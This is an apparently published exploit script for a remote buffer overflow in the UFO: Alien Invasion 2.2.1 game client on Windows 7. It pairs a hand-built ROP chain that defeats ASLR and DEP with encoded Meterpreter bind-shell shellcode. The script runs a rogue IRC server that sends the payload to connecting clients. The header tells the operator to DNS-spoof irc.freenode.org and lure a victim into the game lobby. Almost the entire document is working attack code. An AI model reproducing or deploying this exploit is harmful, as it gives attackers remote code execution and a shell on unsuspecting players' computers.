UFO: Alien Invasion 2.2.1 (Windows 7) - Remote Buffer Overflow (ASLR + DEP Bypass)

#!/usr/bin/python
#
# Exploit Title:	UFO: Alien Invasion v2.2.1 BoF Exploit (Win7 ASLR and DEP Bypass)
# Date:			July 5, 2010
# Author:		Node
# Software Link:	http://sourceforge.net/projects/ufoai/files/UFO_AI%202.x/2.2.1/ufoai-2.2.1-win32.exe/download
# Version:		"UFO: Alien Invasion 2.2.1 x86 Apr 28 2008 Win32 RELEASE"
# Tested on:		Windows 7 Ultimate x64 ENG
# CVE :
# Max shellcode size: 	328 bytes
# Badchars: 		'\x00\x0a\x0d'
# Instructions: 	1. DNS spoof/redirect "irc.freenode.org" to your ip
#			2- Have your victim click "Multiplayer" and then "Lobby"
#
# Notes:		There is a possibility that this exploit can work on a different 
#			windows version, by just changing the last bytes of 0xffff34ec 
#			to wherever VirtualProtect() resides in that version of kernel32.dll.


import sys, socket

#msfpayload windows/meterpreter/bind_tcp LPORT=4444 R | msfencode -b '\x00\x0a\x0d' -t c
#[*] x86/shikata_ga_nai succeeded with size 326 (iteration=1)
shellcode = ("\xbf\xb7\x89\xfe\x0e\xda\xd3\xd9\x74\x24\xf4\x2b\xc9\xb1\x4b" +
"\x5e\x83\xc6\x04\x31\x7e\x11\x03\x7e\x11\xe2\x42\x75\x16\x87" +
"\xac\x86\xe7\xf8\x25\x63\xd6\x2a\x51\xe7\x4b\xfb\x12\xa5\x67" +
"\x70\x76\x5e\xf3\xf4\x5e\x51\xb4\xb3\xb8\x5c\x45\x72\x04\x32" +
"\x85\x14\xf8\x49\xda\xf6\xc1\x81\x2f\xf6\x06\xff\xc0\xaa\xdf" +
"\x8b\x73\x5b\x54\xc9\x4f\x5a\xba\x45\xef\x24\xbf\x9a\x84\x9e" +
"\xbe\xca\x35\x94\x88\xf2\x3e\xf2\x28\x02\x92\xe0\x14\x4d\x9f" +
"\xd3\xef\x4c\x49\x2a\x10\x7f\xb5\xe1\x2f\x4f\x38\xfb\x68\x68" +
"\xa3\x8e\x82\x8a\x5e\x89\x51\xf0\x84\x1c\x47\x52\x4e\x86\xa3" +
"\x62\x83\x51\x20\x68\x68\x15\x6e\x6d\x6f\xfa\x05\x89\xe4\xfd" +
"\xc9\x1b\xbe\xd9\xcd\x40\x64\x43\x54\x2d\xcb\x7c\x86\x89\xb4" +
"\xd8\xcd\x38\xa0\x5b\x8c\x54\x05\x56\x2e\xa5\x01\xe1\x5d\x97" +
"\x8e\x59\xc9\x9b\x47\x44\x0e\xdb\x7d\x30\x80\x22\x7e\x41\x89" +
"\xe0\x2a\x11\xa1\xc1\x52\xfa\x31\xed\x86\xad\x61\x41\x79\x0e" +
"\xd1\x21\x29\xe6\x3b\xae\x16\x16\x44\x64\x3f\xe6\x61\xd4\x28" +
"\x0b\x95\xca\xf4\x82\x73\x86\x14\xc3\x2c\x3f\xd7\x30\xe5\xd8" +
"\x28\x13\x5a\x70\xbf\x2b\xb5\x46\xc0\xab\x90\xe4\x6d\x03\x72" +
"\x7f\x7e\x90\x63\x80\xab\xb0\xf4\x17\x21\x51\xb7\x86\x36\x78" +
"\x2d\x49\xa3\x87\xe7\x1e\x5b\x8a\xde\x69\xc4\x75\x35\xe2\xcd" +
"\xe3\xf5\x9d\x31\xe4\xf5\x5d\x64\x6e\xf5\x35\xd0\xca\xa6\x20" +
"\x1f\xc7\xdb\xf8\x8a\xe8\x8d\xad\x1d\x81\x33\x8b\x6a\x0e\xcc" +
"\xfe\x6a\x72\x1b\xc7\xe8\x82\x2e\x2b\x31\x60")



#start
rop = "\x5a\xc9\x70\x61" #0x6170C95A : PUSH ESP # POP EBX # POP EBP
rop += "A"*4
rop += "\xd6\x14\x6c\x68" #0x686C14D6 : ADD ESP,1C
rop += "1111" #VirtualProtect placeholder
rop += "2222" #return address placeholder
rop += "3333" #lpAddress placeholder
rop += "4444" #dwsize placeholder
rop += "5555" #flNewProtect placeholder
rop += "\x05\xe0\x76\x61" #0x6176e005 lpflOldProtect writable in SDL_mixer.dll
rop += "A"*4
rop += "\x45\x57\x10\x68" #0x68105745 : MOV EAX,EBX # POP EBX # POP EBP
rop += "A"*8
rop += "\xdd\x5b\x10\x68" #0x68105BDD : MOV EDX,EAX # MOV EAX,EDX
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX

#grabbing kernel32
rop += "\xb8\x51\x58\x67" #0x675851B8 : MOV EAX,200
rop += "\x71\x33\x6c\x68" #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX
rop += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX
rop += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX
rop += "\x53\x23\x10\x68" #0x68102353 : XOR EAX,EAX
rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20
rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20
rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20
rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20
rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20 A0
rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP
rop += "\x25\x54\x72\x61" #0x61725425 : ADD ECX,EBP
rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP
rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20
rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20
rop += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20
rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP
rop += "\x25\x54\x72\x61" #0x61725425 : ADD ECX,EBP 9a0
rop += "\x73\x33\x6c\x68" #0x686C3373 : MOV EAX,ECX
rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP
rop += "\x28\x51\x58\x67" #0x67585128 : MOV EAX,2 
rop += "\x71\x33\x6c\x68" #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX  
rop += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX
rop += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX
rop += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX
rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP
rop += "\x6f\x9f\x58\x67" #0x67589F6F : ADD ECX,EAX # MOVZX EAX,CX
rop += "\x9c\x8d\x59\x67" #0x67598D9C : POP ECX
rop += "\x05\xe0\x76\x61" #0x6176e005 : writable
rop += "\xee\x9b\x71\x61" #0x61719BEE : MOV EBX,EDX # SUB EBX,EAX # MOV EAX,EBX # MOV WORD PTR DS:[ECX+44],AX # ADD ESP,4 # POP EBX # POP EBP
rop += "A"*4
rop += "A"*4
rop += "A"*4
rop += "\x67\x01\x11\x68" #0x68110167 : MOV EAX,DWORD PTR DS:[EAX]  

#VirtualProtect()
rop += "\x71\x33\x6c\x68" #0x686C3371 :  # MOV ECX,EAX # MOV EAX,ECX
rop += "\x5a\xc9\x70\x61" #0x6170C95A :  {POP}  # PUSH ESP # POP EBX # POP EBP
rop += "A"*4 
rop += "\x53\x23\x10\x68" #0x68102353 :  # XOR EAX,EAX 
rop += "\x50\x49\x58\x67" #0x67584950 :  # ADD EAX,20
rop += "\x50\x49\x58\x67" #0x67584950 :  # ADD EAX,20
rop += "\x50\x49\x58\x67" #0x67584950 :  # ADD EAX,20  
rop += "\x6b\x8c\x13\x68" #0x68138C6B :  # XCHG EAX,EBP
rop += "\x6a\x1f\x13\x68" #0x68131F6A :  # ADD EBP,EBX
rop += "\x73\x33\x6c\x68" #0x686C3373 :  # MOV EAX,ECX 
rop += "\x6b\x8c\x13\x68" #0x68138C6B :  # XCHG EAX,EBP
rop += "\x71\x33\x6c\x68" #0x686C3371 :  # MOV ECX,EAX # MOV EAX,ECX
rop += "\x6b\x8c\x13\x68" #0x68138C6B :  # XCHG EAX,EBP
rop += "\xe2\x13\x6c\x68" #0x686C13E2 :  # POP EBX
rop += "\xec\x34\xff\xff" #VirtualProtect() is found at 0x????34ec, if not, change this to match your windows version
rop += "\x42\x35\x80\x70" #0x70803542 :  # XOR AL,AL # POP EBP
rop += "A"*4
rop += "\x02\x4d\x6d\x68" #0x686D4D02 :  # ADD AL,BL
rop += "\x6b\x8c\x13\x68" #0x68138C6B :  # XCHG EAX,EBP
rop += "\x73\x33\x6c\x68" #0x686C3373 :  # MOV EAX,ECX 
rop += "\x6b\x8c\x13\x68" #0x68138C6B :  # XCHG EAX,EBP
rop += "\x71\x33\x6c\x68" #0x686C3371 :  # MOV ECX,EAX # MOV EAX,ECX
rop += "\x34\xa5\x70\x61" #0x6170A534 :  # MOV CH,BH # ADD AL,BYTE PTR DS:[EAX] # MOV ESP,EBP # POP EBP
rop += "A"*4
rop += "A"*4
rop += "A"*4
rop += "A"*4
rop += "\xb9\x4b\x58\x67" #0x67584BB9 : MOV DWORD PTR DS:[EDX],ECX

#fetch shellcode
rop += "\x5a\xc9\x70\x61" #0x6170C95A :  {POP}  # PUSH ESP # POP EBX # POP EBP
rop += "A"*4
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop += "\x45\x57\x10\x68" #0x68105745 :  {POP}  # MOV EAX,EBX # POP EBX # POP EBP
rop += "A"*4
rop += "A"*4
rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP
rop += "\x53\x23\x10\x68" #0x68102353 : XOR EAX,EAX 
rop += "\xe2\x13\x6c\x68" #0x686C13E2 :  # POP EBX
rop += "\xac\xff\xff\xff" #0xac * 2 = 0x158
rop += "\x02\x4d\x6d\x68" #0x686D4D02 :  # ADD AL,BL
rop += "\x71\x33\x6c\x68" #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX  
rop += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX
rop += "\x73\x33\x6c\x68" #0x686C3373 : MOV EAX,ECX
rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP
rop += "\x6f\x9f\x58\x67" #0x67589F6F : ADD ECX,EAX # MOVZX EAX,CX shellcode
rop += "\xb9\x4b\x58\x67" #0x67584BB9 :  # MOV DWORD PTR DS:[EDX],ECX

#again
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop += "\x73\x33\x6c\x68" #0x686C3373 : MOV EAX,ECX
rop += "\x26\x51\x58\x67" #0x67585126 : MOV DWORD PTR DS:[EDX],EAX # MOV EAX,2 

#set dwsize 0x148 (328)
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop += "\x53\x23\x10\x68" #0x68102353 : XOR EAX,EAX
rop += "\xe2\x13\x6c\x68" #0x686C13E2 :  # POP EBX
rop += "\xa4\xff\xff\xff" #0xa4 * 2 = 0x148 (328)
rop += "\x02\x4d\x6d\x68" #0x686D4D02 :  # ADD AL,BL
rop += "\x71\x33\x6c\x68" #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX  
rop += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX
rop += "\x73\x33\x6c\x68" #0x686C3373 : MOV EAX,ECX
rop += "\x26\x51\x58\x67" #0x67585126 : MOV DWORD PTR DS:[EDX],EAX # MOV EAX,2 

#forwardjump
rop += "\x53\x23\x10\x68" #0x68102353 : XOR EAX,EAX 
rop += "\xe2\x13\x6c\x68" #0x686C13E2 :  # POP EBX
rop += "\x70\xff\xff\xff" # 0x70
rop += "\x02\x4d\x6d\x68" #0x686D4D02 :  # ADD AL,BL
rop += "\x5a\xc9\x70\x61" #0x6170C95A :  {POP}  # PUSH ESP # POP EBX # POP EBP
rop += "A"*4
rop += "\x6b\x8c\x13\x68" #0x68138C6B : XCHG EAX,EBP
rop += "\x6a\x1f\x13\x68" #0x68131F6A :  # ADD EBP,EBX
rop += "\xc6\xcd\x6d\x68" #0x686DCDC6 :  # LEAVE
rop += "A"*4

#backjump
rop2 = "\x5a\xc9\x70\x61" #0x6170C95A :  {POP}  # PUSH ESP # POP EBX # POP EBP
rop2 += "A"*4
rop2 += "\x45\x57\x10\x68" #0x68105745 :  {POP}  # MOV EAX,EBX # POP EBX # POP EBP
rop2 += "A"*4
rop2 += "A"*4
rop2 += "\xdd\x5b\x10\x68" #0x68105BDD : MOV EDX,EAX # MOV EAX,EDX   
rop2 += "\xb8\x51\x58\x67" #0x675851B8 : MOV EAX,200    
rop2 += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20
rop2 += "\xe2\x13\x6c\x68" #0x686C13E2 :  # POP EBX
rop2 += "\x0c\xff\xff\xff" # 12
rop2 += "\x02\x4d\x6d\x68" #0x686D4D02 :  # ADD AL,BL
rop2 += "\x9c\x8d\x59\x67" #0x67598D9C : POP ECX
rop2 += "\x05\xe0\x76\x61" #0x6176e005 : writable
rop2 += "\xee\x9b\x71\x61" #0x61719BEE : MOV EBX,EDX # SUB EBX,EAX # MOV EAX,EBX # MOV WORD PTR DS:[ECX+44],AX # ADD ESP,4 # POP EBX # POP EBP
rop2 += "A"*4
rop2 += "A"*4
rop2 += "A"*4
rop2 += "\x7a\x36\x13\x68" #0x6813367A : XCHG EAX,ESP

#set flNewProtect 0x40 (land here)
rop2 += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop2 += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop2 += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop2 += "\x72\x34\x58\x67" #0x67583472 : INC EDX # DEC EAX 
rop2 += "\x53\x23\x10\x68" #0x68102353 : XOR EAX,EAX 
rop2 += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20
rop2 += "\x50\x49\x58\x67" #0x67584950 : ADD EAX,20
rop2 += "\x26\x51\x58\x67" #0x67585126 : MOV DWORD PTR DS:[EDX],EAX # MOV EAX,2 

#ending
rop2 += "\x71\x33\x6c\x68" #0x686C3371 : MOV ECX,EAX # MOV EAX,ECX  
rop2 += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX
rop2 += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX
rop2 += "\xe3\xf9\x71\x61" #0x6171F9E3 : ADD ECX,ECX
rop2 += "\x73\x33\x6c\x68" #0x686C3373 : MOV EAX,ECX
rop2 += "\x52\x3d\x13\x68" #0x68133D52 : SUB EDX,EAX # MOV EAX,EDX   
rop2 += "\x7a\x36\x13\x68" #0x6813367A : XCHG EAX,ESP

end = "\x0d\x0a"

sploit = "001 :"
sploit += rop
sploit += "\x90" * (552 - len(rop))
sploit += rop2
sploit += shellcode
sploit += end
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 6667))
s.listen(1)
print ("[*] Listening on port 6667.")
print ("[*] Have someone connect to you.")
print ("[*] Type <control>-c to exit.")
conn, addr = s.accept()
print '[*] Received connection from: ', addr
 
conn.send(sploit)
conn.close